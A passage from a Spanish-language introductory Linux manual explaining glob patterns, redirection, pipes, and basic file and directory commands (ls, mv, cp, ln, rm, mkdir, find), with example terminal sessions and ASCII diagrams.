unit2.cc, main.c.cc; el modelo ???.tex equivale a todos los nombres de
archivo que tengan tres caracteres cualesquiera y luego el sufijo .tex, por
ejemplo: ref.tex, cp1.tex, bea.tex, c++.tex, cumplen con el modelo pero
ab.tex, tony.tex, intro.tex chapter1.tex.z no lo satisfacen.
Los corchetes y el signo menos se utilizan para formar modelos para grupos
de caracteres. Los caracteres en el grupo (o clase) son especificados dentro
de los corchetes. El modelo abc[aeiou] representa todo nombre de archivo que
comienze con abc y culmine con una unica vocal. El signo menos se utiliza
para especificar rangos de caracteres. El modelo chapter[0-9] representa a
todos los nombres de archivo que comienzan con chapter y finalizan con un
digito. Notemos que el rango incluye a sus limites.
Es necesario realizar una aclaracion con respecto a los archivos ocultos.
Recordemos que todo archivo tal que su nombre comience con un punto es
considerado un archivo oculto. La generacion de nombres de archivos no
considerara que un modelo representa a un archivo oculto si no se especifica
explicitamente el punto al comienzo del modelo. Por ejemplo: El modelo
xinit* no representara al archivo cuyo nombre es .xinitrc. Para solucionar
esto es necesario especificar el modelo de la siguiente forma .xinit*.
# ps
PID TTY STAT TIME COMMAND
338 1 S 0:00 /bin/login -- root
356 1 S 0:00 -bash
368 1 S 0:00 sh /usr/X11R6/bin/startx
372 1 S 0:01 wmaker
373 1 S 0:06 kfm
377 1 S 0:00 wmmon
381 1 S 0:00 mount.app
394 1 S 0:37 emacs
412 p0 S 0:01 kdvi apunte.dvi
415 1 S 0:01 /usr/local/bin/x11amp
479 1 S 0:00 kvt
515 p0 R 0:00 ps
a. Ejecucion del comando ps
# ps > procesos
# cat procesos
PID TTY STAT TIME COMMAND
338 1 S 0:00 /bin/login -- root
356 1 S 0:00 -bash
368 1 S 0:00 sh /usr/X11R6/bin/startx
372 1 S 0:01 wmaker
373 1 S 0:06 kfm
377 1 S 0:00 wmmon
381 1 S 0:00 mount.app
394 1 S 0:37 emacs
412 p0 S 0:01 kdvi apunte.dvi
415 1 S 0:01 /usr/local/bin/x11amp
479 1 S 0:00 kvt
515 p0 R 0:00 ps
b. Ejecucion del comando ps redireccionando la salida al archivo
"procesos"
Figura 6.1: Redireccionando la salida del comando ps.
# cat comandos
date
ps
# bash < comandos
Thu Apr 15 19:47:03 ART 1999
PID TTY STAT TIME COMMAND
338 1 S 0:00 /bin/login -- root
356 1 S 0:00 -bash
368 1 S 0:00 sh /usr/X11R6/bin/startx
372 1 S 0:01 wmaker
373 1 S 0:06 kfm
377 1 S 0:00 wmmon
381 1 S 0:00 mount.app
394 1 S 0:37 emacs
412 p0 S 0:01 kdvi apunte.dvi
415 1 S 0:01 /usr/local/bin/x11amp
479 1 S 0:00 kvt
515 p0 R 0:00 ps
Figura 6.2: Redireccionando la entrada para que la shell ejecute
comandos desde un archivo.
# cat comandos
date
pwd
# bash < comandos > salida
# cat salida
Thu Apr 15 20:06:30 ART 1999
/home/tony/docs/linux
Figura 6.3: Redireccionando la entrada y la salida.
|øøøø|__ <------------------------------------------------------\
|---|____| |_____ |
| | | | stderr |
| |______| | -----------------------------------> |øøøøøøøø| |
| | | | | |
|---------| | _--> |________| |
| PROG1 | | | | |
|______________| --\ | /øøøøøøøøø\ --/
| stdout | øøøøøøøøøøøøø
| |
| |
| |
\ |
| |
|øøøø|__ | |
|---|____| |_____ | |
| | | | <--/ stdin |
| |______| | |
| | | |
|---------| | stdout & stderr |
| PROG2 | |
|______________| -----------------------------/
Figura 6.4: Ca~eria de dos programas.
# ls /bin | wc -w
75
Figura 6.5: Ejemplo de una ca~eria. Contar la acntidad de
archivos en un directorio.
CAPITULO 7
COMANDOS Y UTILIDADES
7.1 MOVIMIENTO EN EL SISTEMA DE ARCHIVOS
EL directorio actual, o el direcorio de trabajo, es probablemente la pieza
de informacion mas importante del entorno de trabajo. En cualquier momento,
podemos saber cual es el directorio actual ejecurando el comando pwd (print
working directory). La utilizacion de este comando se muestra en la figura
7.1.
# pwd
/home/tony/txts/manual-linux
Figura 7.1: Averiguando el directorio de trabajo.
Una vez que completamos el proceso de inicio de sesion (log in), nos
encontramos en el directorio home que el administrador del sistema nos ha
designado. Con el comando cd (change directory) podemos cambiar el
directorio de trabajo. Para ello tenemos que invocarlo con un argumento: el
directorio que queremos que sea el directorio de trabajo. Se muestran
ejemplos de este comando en la figura 7.2.
El argumento con el que proveemos al comando cd puede ser tanto una ruta
absoluta como una ruta relativa. En la figura 7.2a vemos un ejemplo de una
ruta relativa y en las figuras 7.2b y c vemos ejemplos de argumentos de
rutas relativas. Como caso especial, si ejecutamos el comando cd sin
parametros, el nuevo directorio de trabajo sera nuestro direcotrio home.
7.2 LISTADO DE ARCHIVOS
7.2.1 LISTANDO ARCHIVOS
Como fue comentado anteriormente, el comado ls (list) se utiliza para listar
el contenido de los directorios. Este comando utiliza muchas opciones,
muchas de las cuales no vamos a tratar aqui. Nos vamos a ocupar de su uso
mas comun y de sus opciones mas utiles. El comando ls acepta multiples
argumentos. Cada argumento que le pasamos puede ser el nombre de un archivo,
de un directorio o una opcion (modificador). Si no le pasamos ningun
argumento, entonces nos mostrara el contenido del directorio de trabajo. Por
defecto, este comando nos muestra el contenido de los directorios en forma
de columnas con los nombres de archivos encontrados como se muestra en la
figura 7.3.
# pwd
/home/tony
# cd /
# pwd
/
a. Cambiando de directorio de trabajo de nuestro directorio home al
directorio raiz.
# pwd
/
# cd bin
# pwd
/bin
b. Cambiando el directorio de trabajo a un subdirectorio.
# pwd
/home/tony/txts
# cd ..
# pwd
/home/tony
c. Cambiando el directorio de trabajo al directorio padre.
Figura 7.2: Cambiando el directorio de trabajo.
# ls
init.d rc.local rc0.d rc2.d rc4.d rc6.d
rc rc.sysinfo rc1.d rc3.d rc5.d
Figura 7.3: Listado del contenido de un directorio.
Como vemos, el listado se presenta en orden alfabetico. De esta forma, la
unica informacion que tenemos de cada archivo o directorio listado es su
nombre. Cuando queremos conocer informacion adicional de cada archivo
debemos usar los modificadores adecuados.
LISTADO EN FORMATO LARGO
El modificador -l indica al comando ls que visualize los nombres de los
archivos y directorios junto con otros atributos, mas especificamente sus
permisos, su due~o, el grupo al que pertenece, la cantidad de links que
posee, su tama~o (en bloques), y su fecha de modificacion. Un ejemplo de un
listado largo de archivos se muestra en la figura 7.4.
# ls -l
drwx------ 2 root root 1024 Mar 22 20:55 Xfree86/
-rw-r--r-- 1 root root 25787 Apr 9 04:48 djetool-0.1.6.tar.gz
-rw-r--r-- 1 root root 143078 Apr 9 04:50 hpdj-2.5.tar.gz
-rw-r--r-- 1 root root 252411 Apr 9 04:11 kalendar-0.5b.tar.gz
-rw-r--r-- 1 root root 677963 Apr 9 04:27 kget-0.6.1.tgz
-rw-r--r-- 1 root root 766699 Apr 9 04:13 korganizer-1.1.tar.gz
-rw-r--r-- 1 root root 288856 Apr 9 04:20 kpackage-1.2.tgz
-rw-r--r-- 1 root root 92157 Apr 9 04:18 kuser-0.6.0.tar.gz
-rw-r--r-- 1 root root 2643205 Apr 9 04:37 qt-1.42.tar.gz
-rw-r--r-- 1 root root 140918 Apr 9 04:51 xtexcad-2.1.tar.z
Figura 7.4: Listado en formato largo del contenido de un directorio
Sobre el ejemplo anterior se pueden notar varios puntos interesantes:
* Cada archivo o directorio es mostrado en una linea separada acompa~ado
de toda su informacion adicional.
* La primer columna de la lista, la cual es una serie de simbolos, especifica
que permisos posee el archivo, pero ademas nos muestra, mediante el primer
caracter, el tipo del archivo. Los diferentes codigos que se utilizan se
muestran en la tabla 7.1.
* La primera entrada en la lista se diferencia de todas las demas porque el
codigo de tipo de archivo es "d", lo que significa que es un directorio,
mientras que todas las demas entradas muestran "-" lo que nos informa
que son archivos ordinarios.
* La columna siguiente especifica la cantidad de hard links que posee el
archivo. En el caso del directorio Xfree86 vemos que posee 2 mientras
que los demas archivos todos tiene un solo link. El directorio posee 2
links porque uno es creado por el directorio en si mismo y el otro es la
entrada que se nombra "." que todo directorio contiene y que apunta a si
mismo. Cada directorio tiene ademas otra entrada denominada ".." que
apunta a su padre. Esto quiere decir que si un directorio "dir" tiene 4
subdirectorios, entonces cada uno de estos poseera una entrada ".." que
apuntara a "dir". Por lo tanto, el direcotrio "dir" tendra asociados 6
links: uno que represente al directorio, uno por la entrada "." dentro
de el, y uno por cada subdirectorio que posea. Esta situacion se muestra
en la figura 7.5.
* Las siguientes columnas especifican el usuario que es due~o del archivo o
directorio, y el grupo al que pertenece.
* La columna que sigue nos muestra el tama~o del archivo, pero este tama~o
es especificado en bloques. Esto es porque el S.O. utiliza bloques como la
unidad de transferencia entre memoria y los dispositivos de bloques
utilizados (discos rigidos, CD-ROM's, disketteras, etc). Tanto los archivos
como los directorios pueden tener un numero cualquiera de bloques. En gral.,
en Linux, se utilizan bloques de 1KB o sea (1024 bytes), pero esto no
siempre es verdad ya que pueden utilizarse tambien bloques de 512 bytes.
* La siguiente columna nos muestra el momento en el que se modifico por
ultima vez el archivo o el directorio.
NOTA: Disculpen semjante dibujo, pero es que si lo hacia mas chico, mo se
iba a entender demasiado ;)
_____ ______ ________
| | | |
/ | mnt | Tony | README |
|_____|______|________|
\
1 \
\
________________________\|/___________________
| | | | | |
/-->| . | dir1 | dir2 | dir3 | dir4 | <---------------------------\
| |_________|_________|________|________|________| \
2 | | | /|\ | | | /|\ \ \
\_____/ | | | | \ \ \ \
| | | \ \ \ \__________________ \
/ | | \ \ \ ______ \ \ 6
/ | \ \ \ \ 5 \____ \
/ \ \ \ \_____ \_______ \ \
/ 3 | \ 4 \ \ \ | |
__________\|/______ | _______ _\|/____ | __\|/__ _______ | __\|/________ |
| | | / | | | | | | | | | | | |
/-->| . | .. |--/ /->| . | .. |--/ /-->| . | .. |--/ /-->| . | .. |--/
| |_________|_________| | |_______|________| | |_______|_______| | |______|______|
| | | | | | | |
\_____/ \_____/ \_____/ \_____/
Figura 7.5: Links definidos sobre un directorio.
______________________________________________
| Codigo | Significado |
|øøøøøøøøø|øøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø|
| - | Archivo ordinario |
| d | Directorio |
| c | Archivo de dispositivo de caracter |
| b | Archivo de dispositivo de bloque |
| l | Link simbolico |
| p | Archivo de ca~eria |
øøøøøøøøø øøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø
Tabla 7.1: Codigos de tipos de archivos y sus significados.
LISTADO DE ARCHIVOS OCULTOS
Se pueden notar, en los ejemplos anteriores, que tanto el listado
predefinido como el listado largo producidos por el comando ls no nos
muestran los archivos ocultos, es decir aquellos que su nombre comienza con
un punto ".". Para listar los archivos ocultos es necesario especificar la
opcion -a. Un ejemplo de listado de archivos ocultos se muestra en la figura
7.6.
LISTADO DE DIRECTORIOS
Hemos dicho que le podemos pasar varios argumentos al comando ls. Estos
argumentos pueden ser archivos o directorios. Supongamos que queremos
averiguar los permisos que tiene un archivo determinado. Para ello
ejecutamos:
==> ls -l
Como muestra la figura 7.7a. La ejecucion del comando tendra como resultado
una unica linea correspondiente al archivo solicitado y su informacion
correspondiente. Supongamos que, ahora, queremos averiguar los permisos que
tiene seteados un cierto directorio. Intuitivamente se puede pensar que
ejecutando ls -l vamos a obtener la misma informacion que
obtuvimos con el archivo. Veamos la figura 7.7b cual es el resultado.
Imagino que adivinaron cual es el problema. En caso de que no, piensen lo
siguiente: el comado ls cuando recibe un argumento decide si el mismo es un
archivo o un directorio. En caso de ser un archivo lista la informacion
solicitada del mismo y en caso de ser un directorio lista la informacion
para cada archivo que se encuentre dentro del direcotorio especificado. Para
que el comando nos liste solo la informacion del directorio y no de su
contenido es necesario especificar la opcion -d (directory). El comando
quedara de la siguiente forma:
==> ls -dl
Ver figura 7.7c.
7.3 MANIPULANDO ARCHIVOS
Los comandos mv (move), cp (copy), ln (link) y rm (remove), junto con ls son
los comandos mas importantes a la hora de manipular los archivos de Linux.
Move y copy se utilizan para mover archivos de un lado a otro en el sistema
de archivos. La unica diferencia entre ellos es que move borra el archivo
original y copy no. El comando link se utiliza para establecer pseudonimos a
los archivos (links). Para borrar los archivos utilizamos el comando remove.
7.3.1 MOVIENDO Y COPIANDO ARCHIVOS
El comando mv mueve un archivo de un sitio a otro. Si ambos sitios se
encuentran en el mismo sistema de archivos, entonces el movimiento es
esencialmente una operacion de renombre. Si por el contrario, los sitios se
encuentran en distintos sistemas de archivos entonces se realiza una copia y
luego se borra la original. La sintaxis del comando mv es:
==> mv [opciones] fuente.. destino
Donde las opciones son opcionales, valga la redundancia, y fuente...
significa que podemos especificar varios argumentos de fuente, pero solo uno
de destino.
Vemos varios ejemplos en la figura 7.8. En el primer ejemplo (figura 7.8a)
utilizamos mv para cambiar el nombre de un archivo. En el ejemplo siguiente
(figura 7.8b) movemos un archivo de un directorio a otro y en el ultimo
ejemplo (figura 7.8c) movemos varios archivos.
# ls -l penguinc06.gif
-rw-r--r-- 1 root root 8994 Apr 9 04:42 penguinc06.gif
a. Listando la informacion de un archivo.
# ls -l Xfree86/
total 6756
-rw-r--r-- 1 root root 21268 Mar 22 20:27 README
-rw-r--r-- 1 root root 818655 Mar 22 21:04 XVG16.tgz
-rw-r--r-- 1 root root 2587331 Mar 22 20:53 Xbin.tgz
-rw-r--r-- 1 root root 3340 Mar 22 20:39 Xcfg.tgz
-rw-r--r-- 1 root root 311690 Mar 22 20:34 Xdoc.tgz
-rw-r--r-- 1 root root 1284484 Mar 22 20:50 Xfonts.tgz
.
.
.
b. Intento fallido de listado de informacion de un directorio.
# ls -dl Xfree86/
drwx------ 2 root root 1024 Mar 22 20:55 Xfree86/
c. Intento exitoso.
Figura 7.7: Listando direcotorios e informacion sobre direcotorios.
Para copiar archivos utilizamos el comando cp que se comporta de forma
similar a mv, pero con la salvedad de que no borra la fuente del archivo
original. Al igual que mv acpeta multiples argumentos siempre y cuando el
ultimo de ellos sea un directorio. En el ejemplo de la figura 7.9a
realizamos una copia de un archivo en el directorio donde este se encuentra;
en el ejemplo de la figura 7.9b copiamos el mismo archivo pero en otro
directorio y en el utimo ejemplo (figura 7.9c) copiamos varios archivos en
un directorio.
COPIANDO DIRECTORIOS
Si necesita copiar un directorio en vez de archivos, debemos especificar la
opcion -R o -r (recursive) ya que sino el comando omitira cada argumento
fuente que sea un directorio y no sera copiado. En caso de proveer esta
opcion, todo argumento que corresponda a un directorio sera copiado
(incluyendo todos sus subdirectorios y los subdirectorios de estos y etc) en
el directorio destino especificado. Veamos un ejemplo en le figura 7.10.
Supongamos que queremos copiar el directorio mail -que es subdirecotorio de
Tony- completo con sus archivos en el directorio /backup que se encuentra
vacio. Para ello ejecutamos:
==> cp -r mail/ /backup/
# ls
kernel-2.1.125 kernel-2.2.1 kernel-2.2.5
# mv kernel-2.2.5 kernel
# ls
kernel kernel-2.1.125 kernel-2.2.1
a. Utilizando mv para renombrar archivos
# ls
kernel kernel-2.1.125 kernel-2.2.1
# mv kernel ../config/
# ls ../config/
kernel
# ls
kernel-2.1.125 kernel-2.2.1
b. Moviendo un archivo de un directorio a otro.
# ls
kernel-2.1.125 kernel-2.2.1 kernel-2.2.5
# mv kernel* ../config/
# ls ../config/
kernel-2.1.125 kernel-2.2.1 kernel-2.2.5
# ls
c. Moviendo varios archivos de un directorio a otro.
Figura 7.8: Moviendo archivos.
En la figura 7.10 se muestra el arbol resultante una vez realizada la copia.
El directorio que se copio se muestra resaltado con una elipse
7.3.2 REALIZANDO LINKS
Como vimos en la seccion 2.1.6 los "links" sirven para establecer
pseudonimos entre los archivos, es decir para que un mismo archivo fisico
sea referenciado por varios nombres logicos. En la terminologia de Linux
estos pseudonimos son llamados "links". Como tambien ya vimos, existen dos
tipos de links: hard links y links simbolicos. Primero veremos los hard
links y despues nos ocuparemos de los simbolicos.
El comando ln es el utilizado en Linux para establecer los links.
CREANDO Y MANIPULANDO HARD LINKS
Los hard links se crean con el comando ln. Supongamos que queremos crear un
link llamado index.htm a un archivo que se llama presentacion.htm. El
comando para realizar esto se muestra en la figura 7.11.
Una vez creado el hard link, tanto el viejo nombre del archivo
(presentacio.htm) como el nuevo (index.htm) se refieren al mismo archivo, es
decir a los mismos datos en la misma locacion fisica del disco. Una vez
creados los links, podemos ver los numeros de i-nodo asociados a cada nombre
de archivo ejecutando el comando siguiente:
==> ls -i
# pwd
/usr/local/articles/NT lies/
# ls
Lies.htm lie10.jpg lie3.jpg lie5.jpg lie7.jpg lie9.jpg
lie1.jpg lie2.jpg lie4.jpg lie6.jpg lie8.jpg
# cp Lies.htm index.htm
# ls
Lies.htm lie1.jpg lie2.jpg lie4.jpg lie6.jpg lie8.jpg
index.htm lie10.jpg lie3.jpg lie5.jpg lie7.jpg lie9.jpg
a. Copiando un archivo sobre un mismo directorio.
# ls
Lies.htm lie1.jpg lie2.jpg lie4.jpg lie6.jpg lie8.jpg
index.htm lie10.jpg lie3.jpg lie5.jpg lie7.jpg lie9.jpg
# cp Lies.htm /root/articles/
# ls /root/articles/
Lies.htm
b. Copiando un archivo hacia otro directorio.
# ls
Lies.htm lie1.jpg lie2.jpg lie4.jpg lie6.jpg lie8.jpg
index.htm lie10.jpg lie3.jpg lie5.jpg lie7.jpg lie9.jpg
# cp lie* /root/articles/
# ls /root/articles/
Lies.htm lie10.jpg lie3.jpg lie5.jpg lie7.jpg lie9.jpg
lie1.jpg lie2.jpg lie4.jpg lie6.jpg lie8.jpg
c. Copiando varios archivos.
Figura 7.9: Copiando archivos.
En la figura 7.11 vemos que tanto el archivo el archivo presentacion.htm
como el archivo index.htm poseen el mismo numero de i-nodo, lo que quiere
decir que ambos nombres se refieren al mismo "archivo fisico". Esto se
ilustra en la figura 7.12a. A partir de esto, es valido acceder al archivo
con cualquiera de los dos nombres que este posee. Es importante notar que si
modificamos el archivo presentacion.htm, por lo dicho anteriormente, tambien
modificamos el archivo index.htm.
En la figura 7.11, antes de crear el hard link, listamos los detalles del
archivo presentacion.htm y vemos que el numero de links del mismo es 1.
Cuando listamos por segunada vez, luego de haber creado el hard link, vemos
que el numero de links de ambos archivos es 2. Ademas de esto notemos que
todos los atributos restantes son iguales, incluyendo los permisos.
_______________________
/ | mnt | Tony | backup |
øø/øøøøøø|øøøøøøøøøøøøø\ __________________
/ \ \ / \
/ __\____________ \ | ________ \______
@ | prog | mail | \------+-| mail | \
øøøøøøøøøøøø\øø | øøøøøøøø\ \
\ | \ \
\ \_______ \ |
____________________ \ \ \ |
| mod1 | mod2 | exec | _\_______________ | _____\___________ |
øø|øøøøøø|øøøøøø|øøø | mess | attach | | | mess | attach | |
| | | øøø|øøøøøøø|øøøøø | øøø|øøøøøøø|øøøøø |
| | | | | | | | |
@ @ @ @ @ \ @ @ |
\ |
\________________/
# ls mail/
attach mess
# cp -r mail /backup/
# ls /backup/
mail
# ls /backup/mail/
attach mess
Figura 7.10: Copiando directorios recursivamente.
OBSERVACIONES ACERCA DE LOS HARD LINKS
Los hard links, como ya vimos, relacionan nombres de archivos con numeros de
i-nodo. Un sistema de archivos posee un cierto numero de i-nodos con los
cuales identifica los archivos que posee. Lo que quiere decir que los i
-nodos son relativos a un sistema de archivos particular y que podemos tener
dos archivos distintos que se encuentran en distintos sistemas de archivos,
pero con el mismo numero de i-nodo. Por esto, no se pueden establecer hard
links entre archivos que se encuentren en distintos sistemas de archivos
archivos. Esto es una limitacion importante a la hora de utilizar hard
links.
CREANDO Y MANIPULANDO LINKS SIMBOLICOS
Para crear links simbolicos tambien utilizamos el comando ln pero
modificamos su comportamiento con la opcion -s, la cual especifica que el
link a crear sera un link simbolico. En la figura 7.13 vemos como se crearia
un link simbolico index.htm al archivo presentacion.htm.
Al listar los contenidos del directorio, una vez creado el link simbolico,
vemos que la entrada del archivo index.htm nos informa que el archivo es un
link simbolico (atributo 1 en la columna de tipo de archivo).
Ademas vemos que el numero de links del archivo presentacion.htm es 1, esto
es porque este numero cuenta la cantidad de hard links establecidos y no se
contabilizan los links simbolicos. Esto quiere decir que al borrar el
archivo presentacion.htm se borraran directamente los contenidos, y el link
simbolico quedara destruido, es decir apuntara a algo que ya no existe.
# ls -l
total 60
-r-------- 1 root root 59997 Apr 28 22:47 presentacion.htm
# ln presentacion.htm index.htm
# ls -l
ls -l --color=none
total 120
-r-------- 2 root root 59997 Apr 28 22:47 index.htm
-r-------- 2 root root 59997 Apr 28 22:47 presentacion.htm
# ls -i
262288 index.htm 262288 presentacion.htm
Figura 7.11: Estableciendo hard links.
Otra cosa para notar en el listado, es que la columna respectiva al nombre
de los archivos, vemos que el archivo index.htm apunta al archivo
presentacion.htm.
Es importante tener en cuenta que estos archivos son dos archivos separados.
Es decir que cada uno tiene sus atributos propios. Por ejemplo, en la figura
7.13 vemos que los archivos tiene distintos tama~os, distintas fechas de
modificacion, etc.
Al realizar la consulta de los numeros de i-nodo de los archivos, vemos
tambien que ambos archivos tiene distinto numero de i-nodo, lo que quiere
decir que ambos tienen un lugar fisico distinto en el medio donde se
almacenan.
Anteriormente, vimos que no es posible crear hard links entre archivos que
se encuentran en distintos sistemas de archivos. Con los links simbolicos,
esto no es problema, ya que la asociacion se realiza por nombre y no por
numero de i-nodo. Ver figura 7.12b.
Al crear los links simbolicos, debemos tener cuidado con la forma en que los
creamos, ya que podemos hacerlo mediante una ruta relativa o una ruta
absoluta. Un problema que podemos tener si creamos un link con una ruta
relativa, es que si movemos el link a otro lugar del sistema de archivos,
perderemos la asociacion entre los archivos. Con los links absolutos, esto
no es problema.
Observacion: Si borramos el archivo que es link simbolico, este sera
eliminado pero no se borrara el archivo al cual apunta. Para borrar el
archivo apuntado debemos borrar este directamente.
__________
| |
| | _______
| | | |
index.htm -----------. | | .----->| |
| | | | |_______|
presentacion.htm --. | | | |
| ø->|----------|___| Archivo
ø--->|__________|
| |
|__________|
Tabla de i-nodos
a. Un hard link entre los archivos presentacion.htm e index.htm.
__________
| |
| | _______
index.htm | | | |
| | | .----->| |
\|/ | | | |_______|
presentacion.htm --. | | |
| |----------|___| Archivo
ø--->|__________|
| |
|__________|
Tabla de i-nodos
b. Un link simbolico del archivo index.htm al archivo presentacion.htm
Figura 7.12: Estructura logica de los links entre archivos.
7.3.3 ELIMINANDO ARCHIVOS
Para eliminar archivos ordinarios, utilizamos el comando rm (remove). Vemos
un ejemplo en la figura 7.14. Debemos tener en cuenta que para poder
eliminar archivos debemos tener permiso de escritura en el directorio donde
se encuentren los archivos.
Si tenemos permiso de escritura sobre el archivo a borrar, entonces el mismo
sera borrado directamente. En cambio, si no tenemos permiso de escritura
sobre el archivo, entonces el comando nos preguntara si queremos ignorar la
proteccion y borrarlo igualmente. Si contestamos "y" (yes), el archivo sera
borrado, solo si somos due~o del mismo, sino obtendremos un mensaje que nos
indicara que no tenemos permiso para borrar el archivo. Esto es ilustrado en
la figura 7.14: el archivo vi.htm tiene permiso de escritura, por lo que es
borrado inmediatamente. En cambio el archivo persentacion.htm no tiene
seteado el permiso de escritura, por lo que el comando nos preguntara si
queremos ignorar la proteccion. Contestamos que si y el archivo es
eliminado.
Se debe tener mucho cuidado cuando eliminamos archivo en Linux, ya que los
archivos eliminados realmente SE PIERDEN Y NO HAY FORMA DE RECUPERARLOS. No
existe ningun mecanismo de recuperacion de archivos en Linux. Siempre que
estemos en duda de borrar un archivo, pensemos en preservarlo ya que no
tendremos forma de recuperarlo.
OPCIONES DEL COMANDO RM
Las opciones mas importantes del comando rm son las siguientes:
* -f: Forzar la eliminacion de los archivos sin permiso de escritura sin
pedir la confirmacion.
* -i: Operacion interactiva. Realizar una confirmacion antes de eliminar
cada archivo. Las respuestas que comienzan con y o Y son consideradas
afirmativas.
* -r: Operacion recursiva. Elimina archivos y subdirectorios, borrando todo
un subarbol de directorios.
# ls
presentacion.htm
# ls -s presentacio.htm index.htm
# ls -l
total 60
lrwxrwxrwx 1 root root 16 Apr 29 19:11 index.htm -> presentacion.htm
-r-------- 1 root root 59997 Apr 28 22:47 presentacion.htm
# ls -i
262269 index.htm 262269 presentacion.htm
Figura 7.13: Estableciendo links simbolicos.
# ls -l
total 14
-rw-r--r-- 1 gg users 7559 May 2 01:15 commands.htm
-r-------- 1 gg users 2880 May 2 01:15 presentacion.htm
-rw-r--r-- 1 gg users 2880 May 2 01:15 vi.htm
# rm vi.htm
# rm presentacion.htm
rm: remove 'presentacion.htm', overriding mode 0400? y
# ls
commands.htm
Figura 7.14: Eliminando archivos.
7.4 MANIPULANDO DIRECTORIOS
7.4.1 CREANDO DIRECTORIOS
Para organizar nuestros archivos utilizamos directorios y subdirectorios. La
creacion de directorios tambien se realiza mediante comandos. El comando
para crear directorios es mkdir (make directory). El mismo acepta una lista
de argumentos (cada argumento puede ser una rura absoluta o una rura
relativa) y crea un directorio por cada argumento que se encuentre en la
lista. Los directorios, una vez creados, se encuentran vacios.
Veamos un ejemplo en la figura 7.15. primero creamos un directorio llamado
qt, verificamos que haya sido creado y vemos que esta vacio. Luego creamos
tres directorios juntos (c, java. c++).
# la
# mkdir qt
# ls
qt
# ls qt
# mkdir c java c++
# ls
c c++ java qt
Figura 7.15: Creando directorios.
7.4.2 ELIMINANDO DIRECTORIOS
Tenemos dos formas de eliminar directorios:
1. Utilizando el comando rm con la opcion -r (recursive). Esto borrara un
directorio junto a todo su contenido (archivos y subdirectorios)
eliminando asi todo un subarbol.
2. Utilizando el comando rmdir (remove directory). Este comando nos permite
eliminar directorios pero con la exigencia de que los mismos esten vacios.
Si queremos borrar un directorio que tiene archivos dentro, debemos,
primero, eliminar los mismo com rm y luego eliminar el directorio con
rmdir.
Ilustramos ambas formas en la figura 7.16. En la figura 7.16a, borramos el
directorio com rm -r y en la figura 7.16b lo hacemos con rmdir. Notemos, en
el primer caso, que el comando nos pide confirmacion para cada archivo o
directorio que se encuentre en el directorio a borrar. Esto se puede evitar
utilizando rm -rf, ya que la opcion -f (force), hace que no se realicen las
confirmaciones y borra directamente.
En el segundo caso, primero debemos vaciar el directorio (en este caso lo
hacemos con rm -f) y luego debemos eliminar el directorio con rmdir.
7.5 BUSQUEDA DE ARCHIVOS
En ocasiones podemos estar interesados en averiguar donde se encuentran
determinados archivos. Cuando queremos buscar uno o mas archivos dentro de
un directorio en particular, podemos utilizar el comando ls para listar los
archivos y verificar en la lista si el/los mismos se encuentran alli. Pero
cuando queremos buscar archivos en todo un subarbol de directorios, trabajar
con ls puede resultar muy incomodo.
El comando find (buscar), localiza archivos, de acuerdo a un criterio de
busqueda, en todo un subarbol de directorios y nos reporta los resultados.
Los criterios de busqueda del comando find se pueden ser combinar para
realizar busquedas realmente complejas. Aqui vamos a estudiar los criterios
mas utilizados a nivel usuario que a su vez son los mas sencillos.
La sintaxis del commando find es la siguiente:
==> find
* es una lista de directorios donde se comenzara a buscar. find
buscara en los subarboles que comienzan en cada directorio especificado
en la lista de directorios.
* es una serie de acciones, tests y opciones que especifican
un cierto criterio de busqueda y posiblemente ciertas acciones a
realizar sobre los archivos encontrados. Esto se vera mas adelante.
# ls
c c++ java qt
# ls java
hello-world.class hello-world.java
# rm -r java
rm:descend directory 'java'? y
rm: remove 'java/hello-world.java'? y
rm: remove 'java/hello-world.class'? y
rm: remove directory 'java' y
# ls
c c++ qt
a. Eliminando un directorio con rm -r.
# ls
c c++ java qt
# ls java
hello-world.class hello-world.java
# rmdir java
rmdir: java: Directory not empty
# rm -f java/*
# rmdir java
# ls
c c++ qt
b. Eliminando un directorio con rmdir.
Figura 7.16: Eliminando directorios
No vamos a analizar detalladamente la sintaxis de la expresion que denota
los criterios de busqueda, sino que vamos a ilustrar el uso del comando find
con varios criterios de busqueda tipicos.
7.5.1 EJEMPLOS DEL USO DE FIND
BUSCANDO ARCHIVOS POR NOMBRE
Supongamos que queremos buscar todos los archivos que comiencen con X en el
subarbol que encabeza el directorio /etc. El comando utilizado para realizar
la busqueda y el resultado de la misma se muestran en la figura 7.17.
En este ejemplo, para realizar la busqueda, le pasamos como ruta de comienzo
el directorio /etc y la expresion que especifica que el criterio es -name
X*. La opcion -name especifica al comando find que queremos realizar la
busqueda por nombre de archivo y el argumento X* expresa que queremos buscar
los archivos cuyo nombres comiencen con X.
En general, la busqueda de archivos por nombre se realiza con el siguiente
comando:
==> find -name
Donde la expresion especifica el formato de los nombres a buscar. Para
formar la expresion podemos utilizar todas las capacidades de generacion de
nombres de archivo que nos prove la shell (ver seccion 6.5).
# find /etc -name X*
/etc/X11
/etc/X11/xinit/Xclients
/etc/X11/xdm/Xaccess
/etc/X11/xdm/Xresources
/etc/X11/xdm/Xservers
/etc/X11/xdm/Xsession
/etc/X11/xdm/Xsetup_0
/etc/X11/X
/etc/X11/XF86Config
Figura 7.17: Buscando archivos por nombre.
BUSCANDO ARCHIVOS POR TAMA~O
Otro uso comun del comando find es la busqueda de archivos por tama~o. Para
buscar archivos por tama~o, en vez de utilizar la opcion -name utilizamos la
opcion -size. A continuacion de esta opcion debemos especificar el tama~o de
los archivos a buscar y ademas si queremos buscar archivos mas grandes o mas
chicos que el tama~o especificado. Veamos un ejemplo en la figura 7.18.
# find /mp3 -size +700k
/mp3/Nirvana/Lithium.mp3
/mp3/Black Sabbath/paranoid/War Pigs.mp3
/mp3/Led Zeppelin/Stairway to Heaven.mp3
Figura 7.18: Buscando archivos por tama~o.
En este ejemplo, queremos encontrar todos los archivos que tengan un tama~o
mayor a 7000 Kbytes, a partir del directorio /mp3. Debemos realizar dos
observaciones:
* El signo "+" que prefijamos al argumento que especifica el tama~o obliga
al comando find a realizar un test. En este caso testeara que el tama~o
del archivo sea mayor a 7000 Kbytes. En caso de querer buscar archivos
de un tama~o menor al argumento debemos prefijar el simbolo "-". Si no
usamos ningun simbolo, find buscara archivos cuyo tama~o sea exactamente
igual al argumento especificado.
* La letra "k" que agregamos luego del argumento informa a find que la
unidad a utilizar sera Kbytes. Tambien podemos utilizar:
- "c": Bytes
- "w": Palabras (words) de 2 bytes cada una
